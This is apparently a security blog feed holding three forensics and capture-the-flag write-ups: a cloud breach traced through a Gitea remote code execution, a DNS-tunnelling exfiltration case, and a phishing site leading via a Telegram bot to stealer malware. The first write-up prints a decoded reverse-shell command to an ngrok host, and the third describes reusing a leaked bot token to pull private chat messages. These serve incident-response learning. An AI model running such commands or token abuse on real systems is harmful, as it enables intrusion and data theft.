<blockquote>
<p>My name is John. I am a student who started an e-commerce startup business named "DummyExample" with my partner, James. Initially, I was using WordPress and shared hosting. After experiencing good traffic, I decided to migrate from WordPress to a customized website on Google Cloud Platform (GCP). Currently, my partner and I are working on the website, contributing to a Gitea server hosted on GCP. I migrated all customer data to cloud storage. Recently, my data was breached, and I have no clue how it happened or what was vulnerable. My GCP infrastructure consists of five VM instances and a single Cloud Storage. There is one Windows machine for my partner to use, with very restricted permissions over GCP, only allowing access to his Gitea account. I have two Linux machines for my work, one for hosting the Gitea server and another for packet mirroring. All the machines have public IPs but very restricted access due to firewalls in place. Due to budget constraints, I can't use the Google Security Command Center service, so I am providing you with the VPC network traffic capture and the Google Cloud logs.</p>
</blockquote>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-evidences">Evidences</h1>
<pre><code class="lang-plaintext">&gt; get-fileHash  *

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          52645C94618E364F52D33E090A03E73967C907CF5BD2F3FF1851DAF84EBFB9D0       GCloud_Logs.json
SHA256          F4E3AC83B3478E976148F1788C407547A841D529F2E6611DE46EBB210829DBAB       miscloud.zip
SHA256          E233A076D1830B5E8E83FDF82E9888A0B1A9F27B642D79467BB910DC5C3B5D83       VPCNetwork_Traffic.pcap
</code></pre>
<h1 id="heading-analysis">Analysis</h1>
<p>Pretty nice description from our buddy John here 👍. Here is the initial map of the servers I've created.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744230505867/536ccf1e-1fd7-41b3-aa2a-2e62bda38e6d.png" alt class="image--center mx-auto" /></p>
<p>Quick PCAP statistics in Wireshark:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744230579647/b9241516-4c46-47a9-b034-85e1805fccf7.png" alt class="image--center mx-auto" /></p>
<p>We have some heavy TCP traffic, including TLS and SSH. Possible sensitive data exfiltration.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744230670399/cd4812a8-5071-41ba-8d74-e6835fbed629.png" alt class="image--center mx-auto" /></p>
<p>These are probably IPs of the servers (<code>10.*.*.*</code> private subnet). There is one another IP being a destination of a single packet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744230807615/b159385e-31d4-4e1d-82e0-c140b2dc2dd3.png" alt class="image--center mx-auto" /></p>
<p><code>*.*.*.255</code> is a broadcast IP and packet is a <a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-brws/10536677-8a14-4726-bc52-c0ef39cb7130">HostAnnouncement Browser Frame</a>. And it looks like we got a log from the Windows 10 Server (<code>10.128.0.3</code>)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744230915868/bcfd33ac-a431-400a-91d2-00c5faf90b3e.png" alt class="image--center mx-auto" /></p>
<p>John’s credentials to the Gitea service.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744231122008/0d32962a-318e-44aa-9df1-7c98ea35930f.png" alt class="image--center mx-auto" /></p>
<p>In one of the first packages, we can see the version of Gitea used (<code>1.2.0</code>).</p>
<p>In packet 20213 suspicious response can be seen:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744231211218/1babdc3e-34f4-477c-b6f1-da9966667617.png" alt class="image--center mx-auto" /></p>
<p>Hmm, the whole traffic there looks suspicious.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744231303611/2c479401-e221-426e-aa6e-1eaa83cf0be2.png" alt class="image--center mx-auto" /></p>
<p>It seems like a threat actor uses some kind of vulnerability in Git or Gitea to expose the files on the server (like <code>cusdata.xlsx.enc</code>).</p>
<p>Another packet looks like an RCE.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744231744039/0e3cd6cb-7863-40ff-87ed-1b9b9bc70abe.png" alt class="image--center mx-auto" /></p>
<p>Decoded base64 (reverse shell): <code>bash -i &gt;&amp; /dev/tcp/</code><a target="_blank" href="http://0.tcp.eu.ngrok.io/14509"><code>0.tcp.eu.ngrok.io/14509</code></a> <code>0&gt;&amp;1 &amp;</code></p>
<h1 id="heading-questions">Questions</h1>
<h2 id="heading-01-whats-the-private-ip-address-of-the-windows-machine">01. What's the private IP address of the Windows machine?</h2>
<p>Seen in the broadcast message: <code>10.128.0.3</code>.</p>
<h2 id="heading-02-which-cve-was-exploited-by-the-threat-actor">02. Which CVE was exploited by the threat actor?</h2>
<p>Searching for the “Gitea 1.2.0 vulnerabilities” I landed at the CVEdetails</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744231706666/e09fa987-0f8f-4de8-b477-81c896e26315.png" alt class="image--center mx-auto" /></p>
<p>Because I’ve already seen the RCE I’m looking at those four from code executions category. This one looks like what we have here.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744232295141/ee67f23e-e999-4423-a06a-d1d42c65095f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-03-what-is-the-hostname-and-port-number-to-which-the-reverse-shell-was-connecting">03. What is the hostname and port number to which the reverse shell was connecting?</h2>
<p>Already discovered: <code>0.tcp.eu.ngrok.io:14509</code></p>
<h2 id="heading-04-from-which-ip-address-was-the-cve-exploited-and-is-this-threat-an-insider-or-outsider-attack">04. From which IP address was the CVE exploited, and is this threat an insider or outsider attack?</h2>
<p>Packet from which the revshell request originates from is sourced at <code>10.128.0.3</code>. And it’s a private address, so “inside job”.</p>
<h2 id="heading-05-which-account-helped-the-threat-actor-to-pivot">05. Which account helped the threat actor to pivot?</h2>
<p>Let’s browse the revshell communication.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744232535772/8f1c7af6-5bd9-41ed-96ed-02440bd17b96.png" alt class="image--center mx-auto" /></p>
<p>Here we can see the commands and responses in plaintext.</p>
<p>Packet 13385:<br /><code>gcloud auth list</code></p>
<p>Packet 13392:</p>
<pre><code class="lang-plaintext">                  Credentialed Accounts
ACTIVE  ACCOUNT
*       257145238219-compute@developer.gserviceaccount.com
</code></pre>
<h2 id="heading-06-which-machines-did-the-threat-actor-log-into-sorted-alphabetically">06. Which machines did the threat actor log into? (sorted alphabetically)</h2>
<p>That requires more revshell analysis. At some point, we can see that threat actor creates an <code>id_rsa</code> key for SSH purposes and continues from the SSH (revshell traffic gets quieter).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744233124069/018812eb-a8f4-46ac-bbf4-2ec1c77ece70.png" alt class="image--center mx-auto" /></p>
<p>Because question asks which machines being <strong>logged into</strong> - that is safely to assume that apart from “current” system (<code>10.128.0.4</code> as stated in the revshell packets) there are other SSHed servers.<br /><code>ip.src == 10.128.0.4 &amp;&amp; ssh &amp;&amp; ssh.protocol == "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3"</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744233269871/cb058000-3802-4f4e-8b25-168f3bce4056.png" alt class="image--center mx-auto" /></p>
<p>Other revshell packet exposes all machines’ IPs.</p>
<pre><code class="lang-plaintext">$ gcloud compute instances list
NAME                    ZONE           MACHINE_TYPE  PREEMPTIBLE  INTERNAL_IP  EXTERNAL_IP    STATUS
gitea-vm                us-central1-a  e2-medium                  10.128.0.4   34.66.191.87   RUNNING
linux-machine1          us-central1-a  e2-medium                  10.128.0.7   34.42.164.212  RUNNING
linux-machine2          us-central1-a  e2-medium                  10.128.0.2   34.172.179.63  RUNNING
packet-mirror-instance  us-central1-a  e2-medium                  10.128.0.5   34.28.192.153  RUNNING
windows-machine         us-central1-a  e2-medium                  10.128.0.3   34.45.236.159  RUNNING
</code></pre>
<p>Unfortunately, <code>gitea-vm</code> is not accepted in the answer, despite being the first one in the chain - so the correct answer is<br /><code>linux-machine1,linux-machine2,packet-mirror-instance</code></p>
<h2 id="heading-07-whats-the-original-name-of-the-sensitive-file">07. What's the original name of the sensitive file?</h2>
<p>From the included Google Cloud Services logs:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744233521552/6a4e65f1-735b-45dd-a44f-097990d6a120.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-08-which-gcloud-role-did-the-threat-actor-try-to-assign-to-the-storage-bucket-to-make-it-publicly-accessible">08. Which gcloud role did the threat actor try to assign to the storage bucket to make it publicly accessible?</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744233582487/0792709d-2263-474c-acb2-842a9258f7ec.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-09-which-account-led-to-the-cloud-storage-data-breach">09. Which account led to the cloud storage data breach?</h2>
<p>Searching for the exfiltrated file, leads to the <code>principalEmail</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744233758395/443fd75e-b1b4-4ce7-9347-d2d056efe2b9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-10-which-port-number-was-exploited-by-the-attacker-to-exfiltrate-data-that-is-allowed-by-default-ingress-traffic-rules-in-the-default-vpc-network">10. Which port number was exploited by the attacker to exfiltrate data that is allowed by default ingress traffic rules in the default VPC network?</h2>
<p>I think this one was already found as well in the packet 20213 - <code>3389</code> (it is default RDP port).</p>
<h2 id="heading-11-what-is-the-key-to-decrypt-the-encrypted-file">11. What is the key to decrypt the encrypted file?</h2>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<p>This one is a bit of guessing… but it is what it is. HTTP Packet 18001 contains a Python script that was used to encrypt the file:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744234464983/c48c28f1-e5f2-45c4-a2bd-4a2a8b519885.png" alt class="image--center mx-auto" /></p>
<p>Another packet, 22604 contains the encrypted binary, which can be saved using <strong>File</strong> &gt; <strong>Export</strong> &gt; <strong>HTTP object</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744234644589/f2191386-1063-412c-b2a6-3be3517e2022.png" alt class="image--center mx-auto" /></p>
<p>When looking closer at the header of the file, it can easily be seen a repeatable phrase that could be an encryption key. After a couple tries, the platform accepts the correct answer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744234735739/b784af56-0fb3-48f1-97e8-71dd9c43e7f2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-12-what-are-the-ssn-and-credit-card-numbers-of-founder-john">12. What are the SSN and credit card numbers of "Founder John"?</h2>
<p>Now that we have the encryption key, encryption method (symmetrical XOR) and encrypted data, we can put all of those together in CyberChef and get the decrypted spreadsheet.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744234818424/61402880-34c1-46b4-8a11-6284e9109024.png" alt class="image--center mx-auto" /></p>
<p>The file then (so it won’t run it locally) can be previewed, for example on <a target="_blank" href="https://filehelper.com/formats/xlsx">https://filehelper.com/formats/xlsx</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744234890185/091af803-3e32-4e4a-a2b0-2ad325a6c809.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-13-14-15">13, 14, 15</h2>
<p>Last three questions are knowledge questions, answers for them can be Googled.</p>
]]></content:encoded></item><item><title><![CDATA[HTB Sherlock: Litter]]></title><description><![CDATA[💡
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware ana...]]></description><link>https://blog.cyberethical.me/htb-sherlock-litter</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-sherlock-litter</guid><category><![CDATA[Ethical Hacking]]></category><category><![CDATA[SOC]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[dns]]></category><category><![CDATA[PCAP]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Mon, 07 Apr 2025 07:00:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1711122601672/4bfd8038-f493-463e-91b6-3106378f4cff.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">This write-up is a part of the <a target="_blank" href="https://blog.cyberethical.me/series/htb-sherlocks">HTB Sherlocks series</a>. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. <a target="_self" href="https://blog.cyberethical.me/go-htbapp">Are you ready to start the investigation?</a></div>
</div>

<h1 id="heading-incident-details">Incident Details</h1>
<p><strong>Name</strong>: <a target="_blank" href="https://blog.cyberethical.me/go-htbapp">Litter</a><br /><strong>Category</strong>: SOC<br /><strong>Difficulty</strong>: Easy (<a target="_blank" href="https://labs.hackthebox.com/achievement/sherlock/555018/555"><em>Solved</em></a>)</p>
<blockquote>
<p>Khalid has just logged onto a host that he and his team use as a testing host for many different purposes, it’s off their corporate network but has access to lots of resources in network. The host is used as a dumping ground for a lot of people at the company but it’s very useful, so no one has raised any issues. Little does Khalid know; the machine has been compromised and company information that should not have been on there has now been stolen – it’s up to you to figure out what has happened and what data has been taken.</p>
</blockquote>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-evidences">Evidences</h1>
<blockquote>
<p>All evidence files are marked as readonly right after acquiring and their hash is written down. Read-only attribute does not affect the hash of a file.</p>
</blockquote>
<p>01: ZIP archive, password protected (<code>hacktheblue</code>)</p>
<pre><code class="lang-plaintext">$ litter.zip
89ffb7db178388aad03ff1434279e28426be2421d8df6fc9c3afbee94de23b0d
</code></pre>
<p>02: PCAP file</p>
<pre><code class="lang-plaintext">$ suspicious_traffic.pcap
830c2c76e8055c6d807f642c684f716e3be73ddc33403d83c85f486086da47ca
</code></pre>
<h1 id="heading-analysis">Analysis</h1>
<p>I've glanced through the PCAP file while having in mind that we have data exfiltration scenario. The first two things that come to my mind are DNS exfiltration and simply uploading data via TCP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711051138645/0d981250-908e-41b9-a1f9-99f0dd34bbdd.png" alt class="image--center mx-auto" /></p>
<p>These shouldn't look like that!</p>
<ol>
<li>At a glance, what protocol appears to be suspect in this attack?</li>
</ol>
<p>DNS!</p>
<ol start="2">
<li>There seems to be a lot of traffic between our host and another, what is the IP address of the suspect host?</li>
</ol>
<p>Wireshark &gt; Statistics &gt; Endpoints. Select IPv4, sort from the highest Packets.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711051155256/6c593f75-0676-43ef-b3af-7b7590438c91.png" alt class="image--center mx-auto" /></p>
<ol start="3">
<li>What is the first command the attacker sends to the client?</li>
</ol>
<p>Technically, it is possible to read what was transmitted using Wireshark display filter</p>
<pre><code class="lang-plaintext">ip.src == 192.168.157.144 and ip.dst == 192.168.157.145 and dns
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711051167418/e17e9745-484d-4d4c-ba74-ecaa395f1218.png" alt class="image--center mx-auto" /></p>
<p>But there is a <a target="_blank" href="https://github.com/josemlwdf/DNScat-Decoder">Python tool</a> that helps to extract that information from PCAP file.</p>
<pre><code class="lang-plaintext">$ python /opt/dnscat/dnscat_decoder.py suspicious_traffic.pcap "microsofto365.com" &gt; dnscat_dump.txt
</code></pre>
<p>All following questions can be answered purely from the dump.</p>
<ol start="4">
<li><p>What is the version of the DNS tunneling tool the attacker is using?</p>
</li>
<li><p>The attackers attempt to rename the tool they accidentally left on the client’s host. What do they name it to?</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711122010891/89f6acc9-ed6f-4876-b233-33e8a9c15a4c.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>The attacker attempts to enumerate the user’s cloud storage. How many files do they locate in their cloud storage directory?</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711122025835/3c686067-0b87-4a1e-b03f-0e8e76f97c1a.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>What is the full location of the PII file that was stolen?</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1711122044252/5082e8a6-9fc8-44df-b989-f2c577b9f109.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Exactly how many customer PII records were stolen?</p>
</li>
</ol>
<p>Dump shows 720 records, but starts from 0 s, so the answer is 721.</p>
<h1 id="heading-data-recovery">Data Recovery</h1>
<p>None required.</p>
<h1 id="heading-lessons-learned">Lessons Learned</h1>
<p>Because this challenge was a bit short on analysis part, let's stay a bit on DNS exfiltration.</p>
<h2 id="heading-dns-data-exfiltration">DNS Data Exfiltration</h2>
<p><strong>MITRE ATT.CK Technique</strong>: <a target="_blank" href="https://attack.mitre.org/techniques/T1048/">T1048</a></p>
<p>Data exfiltration is all about flying under the radar. You can steal data simply by copying it to some removable drive (which is not <a target="_blank" href="https://eu.usatoday.com/story/money/2022/04/06/cash-app-data-breach/9490327002/">that uncommon</a>). You can upload to cloud service or network share - but these leaves very verbose fingerprint on TCP/UPD communication, network logs etc. The challenge is here that usual protocols can and are easily set up to be monitored against data leakage. Attackers started to get creative and thought - maybe we try to use something that generates a lot of traffic so will not raise an alert, and something that is commonly and widely used, so can't be blocked and won't look suspicious.</p>
<p>DNS protocol meets those standards (that come to my mind, definitely there are more of them). And there were times when no one monitored DNS traffic - because what for? It is more like a technical thing, "how the Internet works" thing - domain names act as mnemonics for specific IP addresses, so something has to resolve them. We can't drop it, we can't stop DNS resolution at all. And each system, each software, can generate a lot of DNS queries on daily routine. Windows Update, loading CSS or JS on pages, virus signatures updates, requesting data from services - all of these happen via named mnemonics, not IP addresses.</p>
<p>So how attackers figured out the way to use it as a form of connection between <a target="_blank" href="https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server">C&amp;C</a> and a victim? This is to be honest quite simple and easy to explain.</p>
<ol>
<li><p>Assume that malware is already present on the victim's server.</p>
</li>
<li><p>Encode data (C&amp;C command response, file, anything) to hex-encoded blocks, as if requesting DNS server to resolve the domain - conforming one of two formats (<em>really</em> oversimplified)<br /> <code>&lt;encoded data&gt;.&lt;domain&gt;</code> or <code>&lt;tag&gt;.&lt;encoded data&gt;</code></p>
</li>
<li><p>Pass the prepared message as a DNS request to the attacker's server.</p>
</li>
</ol>
<p>That's why in this challenge, we could eyeball the suspiciously looking DNS request - no-one is asking to resolve the following domain name: <code>7768656e6d6f7265636861696e7361776d616e736572696573.microsofto.com</code></p>
<h1 id="heading-additional-readings">Additional readings</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://www.nist.gov/privacy-framework/nist-sp-800-61">NIST Computer Security Incident Handling Guide</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md">GitHub: dnscat2 protocol</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Forensics: Tales for the Brave]]></title><description><![CDATA[Introduction

In Eldoria, a once-innocent website called “Tales for the Brave” has become the focus of unsettling rumors. Some claim it may secretly trap unsuspecting visitors, leading them into a complex phishing scheme. Investigators report signs o...]]></description><link>https://blog.cyberethical.me/htb-ctf-2025-forensics-tales-for-the-brave</link><guid isPermaLink="true">https://blog.cyberethical.me/htb-ctf-2025-forensics-tales-for-the-brave</guid><category><![CDATA[forensics]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[ethicalhacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[malware analysis]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Tue, 01 Apr 2025 00:47:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1743467915157/d1a5fd8b-7a95-4b96-b01d-0f4cd9539652.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction"><strong>Introduction</strong></h1>
<blockquote>
<p>In Eldoria, a once-innocent website called “Tales for the Brave” has become the focus of unsettling rumors. Some claim it may secretly trap unsuspecting visitors, leading them into a complex phishing scheme. Investigators report signs of encrypted communications and stealthy data collection beneath its friendly exterior. You must uncover the truth, and protect Eldoria from a growing threat.</p>
</blockquote>
<p><strong>Type</strong>: Forensics<br /><strong>Difficulty</strong>: Hard<br /><strong>Authors</strong>: <a target="_blank" href="https://connar.github.io/">connar</a>, <a target="_blank" href="https://rasti37.github.io/">rasti</a><br /><strong>Event</strong>: <a target="_blank" href="https://www.hackthebox.com/events/cyber-apocalypse-2025"><strong>Hack The Box Cyber Apocalypse 2025: Tales From Eldoria</strong></a> (<a target="_blank" href="https://ctftime.org/event/2674/"><strong>ctftime</strong></a>)</p>
<p>Official write-up:<br /><a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/Tales%20for%20the%20Brave">https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/Tales%20for%20the%20Brave</a></p>
<h1 id="heading-initial-recon">Initial recon</h1>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<p>Given: <code>IP:PORT</code></p>
<p>After closer inspection, it appears to be the address to the website.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743255251905/634a103c-0f0e-4456-afd4-f5097b7bbb7e.png" alt class="image--center mx-auto" /></p>
<p>The source code reveals two important imports:</p>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-comment">&lt;!-- cut --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
  <span class="hljs-comment">&lt;!-- cut --&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"js/index.js"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p><code>index.js</code> contains some encrypted payload that is evaluated, possibly on the page load.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743255723873/1bff838c-fa19-4070-b97e-c4015e013b49.png" alt class="image--center mx-auto" /></p>
<p>Crypto-JS appears to be a JavaScript library for cryptography operations. This one used here is an ancient and outdated.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743255980486/cee20653-393d-4eff-933f-4194701736d2.png" alt class="image--center mx-auto" /></p>
<p>On browsing, the website presents itself as a newsletter subscription form.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743255116617/d559a9ce-049f-4a45-af89-29d914df57f5.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-analysis">Analysis</h1>
<p>Let’s unravel the suspicious code.</p>
<h2 id="heading-stage-01">Stage 01</h2>
<p>The first stage contains two phases - building the strings array and evaluation of the encrypted code (stored in a binary format). Because of the variables names and as it appears to be an encryption method, we can infer this is AES encryption (ciphertext, encryption key and IV vector).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743256694682/fd11e6e7-de14-4fa4-a197-3b5c093c2767.png" alt class="image--center mx-auto" /></p>
<p>After quick deobfuscation (array and <code>btoa(..)</code> evaluations, <code>eval</code> removal).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743256869869/1bf25a6e-1b90-4993-9ad0-71411d7cb461.png" alt class="image--center mx-auto" /></p>
<p>After evaluating all of that and converting from hex to text, we can continue with a second stage.</p>
<h2 id="heading-stage-02">Stage 02</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743257120185/b3a10357-7c4b-4481-810e-6a5bae399032.png" alt class="image--center mx-auto" /></p>
<p>This one contains several more strings dictionaries that are used to build the actual JavaScript code. After some doebfuscation, formatting and removal of unnecessary code, the remaining JavaScript can be described as a puzzle that can be solved by inputting a specific value in pre-<code>@</code> email value on the form and clicking in the checkboxes in a predetermined sequence. As a reward, the solver is redirected to the unknown URL that was placed as a message sent on Telegram. Fortunately, we don’t have to predict any of that and can focus on the Telegram method alone.</p>
<h2 id="heading-telegram-bot-api">Telegram Bot API</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743257638824/d6fe3215-1bb2-4ddf-a13c-bf46aac96f39.png" alt class="image--center mx-auto" /></p>
<p>What this code does is calling the Telegram Bot API (<code>hhtps://api.telegram.org/*/forwardMessage</code>) to forward a one message (<code>message_id=5</code>) from the specific group chat (<code>channel_id</code>) to some other group (<code>idc</code>). This code contains all the necessary information to do such a call - apart from the target chat.</p>
<p>I don’t want to download any unnecessary software and create third-party accounts just for the CTF purposes, so I’ve tried to dig as much as possible without doing any of that. <a target="_blank" href="https://telegram-bot-sdk.readme.io/reference">API documentation</a> gives a good idea of what can be done, so I’ve called a couple of endpoints to see what I can get.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743258644095/c0a6232e-1170-4e76-8006-893bccd8974b.png" alt class="image--center mx-auto" /></p>
<p>The name suggests we are on the right track, <code>can_join_groups</code> flag is set so it confirms the <code>forwardMessage</code> scenario. Another response (<code>/getUpdates</code> endpoint) gets me puzzled.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743259156907/fe7af8aa-4076-446d-9875-059ff8a55da8.png" alt class="image--center mx-auto" /></p>
<p>This appears to be a log of what is sent by the bot, or to that bot? But is it an artificial conversation to flavour the challenge? Are those other participants chatting together? Should I do the same? One of the threads got my special interest:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743259312245/8bdfee9f-e0a3-48f5-93b6-b2569e65e682.png" alt class="image--center mx-auto" /></p>
<p>Well, I think I’ll never find if that’s a real chat between participants or just something coded to appear indefinitely during the event. Either way, I just don’t have any other option to try - requesting the bot to forward me a message should be a way to go.</p>
<h1 id="heading-exfiltrating-the-private-chat">Exfiltrating the private chat</h1>
<p>To do so, I found no other way than actually downloading the Telegram app (through the APK, barbaric and shady) and creating a private group. Then, when I had that set up, I’ve invited the OperationEldoriaBot, and now I need my group ID. Quick research (no, it can’t be found in HTML and network traffic) helped me find a way to get it. I’ve invited the “GetIDsBot” to the group and voilà.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743259801281/a677fdd7-4a12-48b9-a56e-cf063a0fd1c4.png" alt class="image--center mx-auto" /></p>
<p>I’ve passed that ID in the <code>forwardMessage</code> call… but got the error:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743259915093/d31f0478-3dc2-42b1-94d6-8cc2b0ba1367.png" alt class="image--center mx-auto" /></p>
<p>I have spent the next two hours or so on finding a solution to that. I’ve searched many StackOverflow posts, GitHub and Redid discussions and two things that were most frequently mentioned: is the bot added as an administrator and is that a public or a private group. I did many combinations of those, at the end finding that when I once changed the group from private to public it gets promoted to “supergroup” permanently and is assigned a different ID - but that didn’t help.</p>
<p>Then I literally went to the bathroom, ate something (not in the bathroom) and came back to the challenge to find out that the last API call I’ve tried now returns a success message. I guess some cache somewhere had to expire.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743260359639/3b65784a-0e39-4e9b-a923-856cb7c358f5.png" alt class="image--center mx-auto" /></p>
<p>Now with a new tool at my disposal, I can forward message by message all chat messages from that Telegram group (I have skipped a message with ID=5 because it only contains an expired group invitation).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743260488362/569394ae-3476-41d1-9a34-4973f06f8e58.png" alt class="image--center mx-auto" /></p>
<p>I’m downloading the archive and unzip it using the provided password.</p>
<h1 id="heading-braveexe">Brave.exe</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743263043840/93e149ea-7e5b-4365-8dcc-5fbd4ca763aa.png" alt class="image--center mx-auto" /></p>
<p>File responds as Portable Executable (PE) for Windows. When I try to open them with any of my decompilers, they do not report anything useful. Then I’ve checked the file with DIE (<a target="_blank" href="https://github.com/horsicq/Detect-It-Easy">Detect-It-Easy</a>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743263960704/8d1413b1-45dc-419a-8908-50f7dc2a6d79.png" alt class="image--center mx-auto" /></p>
<p>Report from <a target="_blank" href="https://www.virustotal.com/gui/file/0ed2b6c373446e31c3ab8e424be0783b7dc397b67db6dbe29173271321c3f426/details">VirusTotal</a> indicates that’s a stealer malware. Because I’m unable to decompile it in each known to me tool, there is another way. To run it in an isolated environment and observe.</p>
<h2 id="heading-malware-execution-analysis">Malware execution analysis</h2>
<p>For this, I’ll be using <a target="_blank" href="https://github.com/mandiant/flare-vm">FlareVM</a>. It’s a streamlined Windows Malware Analysis Suite over Windows.</p>
<p>After copying the <code>Brave.exe</code> I’m opening the API Monitor. For this scenario (because of trial and error) I’m using “Data Access and Storage” and “Internet” modules/behaviours. Immediately I can see that the malware tries to seek some folder and ends execution.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1743464420661/7ac564fb-a773-478f-96f1-ae60bb9e2ed2.png" alt class="image--center mx-auto" /></p>
<p>Let’s create the folder and try once again.</p>
